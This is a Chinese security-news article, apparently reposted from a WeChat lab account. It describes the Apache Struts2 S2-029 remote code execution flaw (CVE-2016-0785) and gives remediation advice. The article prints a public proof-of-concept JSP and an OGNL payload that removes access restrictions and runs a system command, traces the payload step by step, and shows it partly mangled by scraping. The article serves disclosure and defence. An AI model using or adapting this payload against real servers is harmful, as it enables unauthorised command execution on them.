Apache Struts2 再曝高危漏洞(CVE-2016-0785)

admin 2022年4月10日21:46:33评论178 views字数 3593阅读11分58秒阅读模式
近日,Apache Struts2 发布的最新安全公告 S2-029 中显示,Struts2  存在远程代码执行漏洞。Struts 2.0.0 – Struts Struts 2.3.24.1 版本均受到该漏洞影响。这个漏洞危险级别被定义为高危,漏洞 CVE 编号 CVE-2016-0785

Apache Struts2 再曝高危漏洞(CVE-2016-0785)

千里百科
Struts2 是全球使用最广泛的 Java web 服务端框架之一。Struts2 是 Struts 的下一代产品,是在 Struts1 和 WebWork 的技术基础上进行了合并的全新的 Struts2 框架

在此之前 S2-005,S2-009,S2-013,S2-016,S2-20 都存在远程命令执行漏洞,使得大量的网站系统遭受入侵。因此,该漏洞一经曝光就在安全圈内引起轩然大波。
漏洞概要
S2-029 漏洞产生原因主要在于,用户可以控制特定标签的属性,通过 OGNL 二次计算可以执行任意命令。

例如:

<p>parameters: <s:property value="#parameters.msg" /></p>


这个标签就调用了 OGNL 进行取值,Struts2 会解析 value 中的值,并把解析后的 value 当作 OGNL 表达式执行。

 OGNL 第一次计算:

String name = findString(this.name, “name”, “Resource bundle name is required. Example: foo or foo_en”);

 OGNL 表达式为 #parameters.msg,计算后得到 parameters的属性,并将其属性值赋值给 value。

 OGNL 第二次计算:

ResourceBundle bundle = (ResourceBundle)findValue(“getTexts(‘” + name + “‘)”);

对上面获取的属性值继续做 OGNL 表达式执行。
漏洞利用
互联上已公开漏洞  POC:
<%@page import="java.util.HashSet"%>
<%@ page contentType=”text/html;charset=UTF-8″ language=”java” %>
<%@ taglib prefix=”s” uri=”/struts-tags” %>
<html>
<head><title>Demo jsp page</title></head>
<body>
<%
request.setAttribute(“lan”, “‘),#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#[email protected]@getRuntime(),#a.exec(‘touch /tmp/fuckxxx’),new java.lang.String(‘”);
%>
<s:i18n name=”%{#request.lan}”>xxxxx</s:i18n>
</body>
</html>

在此 POC 中可以看到,request 的 lan 属性被设置为:
#_memberAccess[‘allowPrivateAccess’]=true 用来授权访问private方法
#_memberAccess[‘allowStaticMethodAccess’]=true 用来授权允许调用静态方法,
#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’] 用来将受限的包名设置为空
#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’] 用来将受限的类名设置为空
#[email protected]@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”) 执行系统命令,在 /tmp 目录下生成 dbapptest 文件

整段代码的关键部分在于最后一行:

<s:i18n name=”%{#request.lan}”>xxxxx</s:i18n>

在 i18n 标签中的 name 值会经过两次 OGNL 计算,从而导致远程代码执行。


第一次计算,其中运行的 OGNL 表达式为 %{request.lan},则 OGNL 表达式执行结果为:
‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#[email protected]@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

执行完成之后将结果赋值给 name, name值为:
‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#[email protected]@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

然后将 name 值进行第二次 OGNL 计算,其中 ognl 表达式变为
getText(”),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#[email protected]@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)

从而导致命令执行,在 /tmp 目录下生成 dbapptest 文件
Apache Struts2 再曝高危漏洞(CVE-2016-0785)
修复建议
1、严格验证新添加的 Struts 标签参数的属性;
2、建议用户将 Struts 升级至 2.3.26 版本。
参考资料
http://seclab.dbappsecurity.com.cn/?p=678



原文始发于微信公众号(深信服千里目安全实验室):Apache Struts2 再曝高危漏洞(CVE-2016-0785)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月10日21:46:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts2 再曝高危漏洞(CVE-2016-0785)https://cn-sec.com/archives/785835.html

发表评论

匿名网友 填写信息